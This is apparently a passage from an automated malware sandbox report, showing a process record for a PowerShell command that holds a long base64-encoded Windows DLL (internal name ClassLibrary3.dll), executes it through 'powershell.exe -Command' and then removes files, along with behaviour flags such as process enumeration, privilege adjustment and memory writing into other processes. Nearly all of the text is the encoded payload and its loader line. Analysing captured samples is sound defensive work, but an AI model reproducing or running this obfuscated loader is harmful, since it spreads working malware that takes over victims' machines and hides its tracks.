VlLmRsbAAAAAAA/yUAIEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAEAAAABgAAIAAAAAAAAAAAAAAAAAAAAEAAQAAADAAAIAAAAAAAAAAAAAAAAAAAAEAAAAAAEgAAABYgAAA7AIAAAAAAAAAAAAA7AI0AAAAVgBTAF8AVgBFAFIAUwBJAE8ATgBfAEkATgBGAE8AAAAAAL0E7/4AAAEAAAABAAAAAAAAAAEAAAAAAD8AAAAAAAAABAAAAAIAAAAAAAAAAAAAAAAAAABEAAAAAQBWAGEAcgBGAGkAbABlAEkAbgBmAG8AAAAAACQABAAAAFQAcgBhAG4AcwBsAGEAdABpAG8AbgAAAAAAAACwBEwCAAABAFMAdAByAGkAbgBnAEYAaQBsAGUASQBuAGYAbwAAACgCAAABADAAMAAwADAAMAA0AGIAMAAAABoAAQABAEMAbwBtAG0AZQBuAHQAcwAAAAAAAAAiAAEAAQBDAG8AbQBwAGEAbgB5AE4AYQBtAGUAAAAAAAAAAAAqAAEAAQBGAGkAbABlAEQAZQBzAGMAcgBpAHAAdABpAG8AbgAAAAAAAAAAADAACAABAEYAaQBsAGUAVgBlAHIAcwBpAG8AbgAAAAAAMQAuADAALgAwAC4AMAAAAEQAEgABAEkAbgB0AGUAcgBuAGEAbABOAGEAbQBlAAAAQwBsAGEAcwBzAEwAaQBiAHIAYQByAHkAMwAuAGQAbABsAAAAJgABAAEATABlAGcAYQBsAEMAbwBwAHkAcgBpAGcAaAB0AAAAAAAAACoAAQABAEwAZQBnAGEAbABUAHIAYQBkAGUAbQBhAHIAawBzAAAAAAAAAAAATAASAAEATwByAGkAZwBpAG4AYQBsAEYAaQBsAGUAbgBhAG0AZQAAAEMAbABhAHMAcwBMAGkAYgByAGEAcgB5ADMALgBkAGwAbAAAACIAAQABAFAAcgBvAGQAdQBjAHQATgBhAG0AZQAAAAAAAAAAADQACAABAFAAcgBvAGQAdQBjAHQAVgBlAHIAcwBpAG8AbgAAADEALgAwAC4AMAAuADAAAAA4AAgAAQBBAHMAcwBlAG0AYgBsAHkAIABWAGUAcgBzAGkAbwBuAAAAMQAuADAALgAwAC4AMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAwAAAAQNwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=');powershell.exe -Command $DXkmR; Remove-Item -Path
3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:332

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "$xcaOe = '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2BiHBQoA9RgOGQ4AKBk/GQ4AVxlwGQ4AhhlwGQoAmxnZFwYAsxlNBwYAyxmDAA4A4xn4GQoAFRrZFwoAMhqJAwYATRqDAAAAAAAhAAAAAAABAAEAAAAAACoAOAAFAAEAAQAAAAAAmQA4AAkAAQACAAABEADLADgADQABAAMABQEAAOwAAAANAAYACgAFAQAA+gAAAA0ABwAYAAABAAAVAR8BDQAJABwAAAEQADoBOAARAAwAIwAAAQAAcgE4AA0ADgApAAEAAACFAQEADQAOACsAAAEQAIwBAAANAA8AOwAxAMYBFwAxAN8BHwAxAPMBJwAxAA0CLwARACsCNwATANcCNwAhAE4E4AATAJEENwARAOwEEgERABkFFgETAEoFGgERABsGSQETACsGSQERAM4GXgETAGkJ4wETAIwJ4wETAK8J4wETANIJ4wETAPUJ4wETABgK4wETADsK4wETAF4K4wETAIEK4wETAKQK4wETAMcK4wETAOoK4wETAA0L4wETADAL4wETAFML4wETAHYL4wETAJkL4wETALwL4wETAN8L4wETAAIM4wETACUM4wETAEgM4wETAGsM4wETAI4M4wETALEM4wETANQM4wETAPcM4wETABoN4wETAD0N4wETAGAN4wETAIMN4wETAKYN4wETAMkN4wETAOwN4wETAA8O4wETADIO4wETAFUO4wETAHgO4wETAJsO4wETAL4O4wETAOEO4wETAAQP4wETACcP4wETAEoP4wETAG0P4wETAJAP4wETALMP4wETANYP4wETAPkP4wETABwQ4wETAD8Q4wETAGIQ4wETAIUQ4wETAKgQ4wETAMsQ4wETAO4Q4wETABER4wETADQR4wETAFcR4wETAHoR4wETAJ0R4wETAMAR4wETAOMR4wETAAYS4wETACkS4wETAEwS4wETAG8S4wETAJIS4wETALUS4wETANgS4wETAPsS4wETAB4T4wETAEET4wETAGQT4wETAIcT4wETAKoT4wETAM0T4wETAPAT4wETABMU4wETADYU4wETAFkU4wETAHwU4wETAJ8U4wETAMIU4wETAOUU4wETAAgV4wETACsV4wETAE4V4wETAHEV4wETAJQV4wETALcV4wETANoV4wETAP0V4wETACAW4wETAEMW4wETAGYW4wETAIkW4wETAKwW4wETAM8W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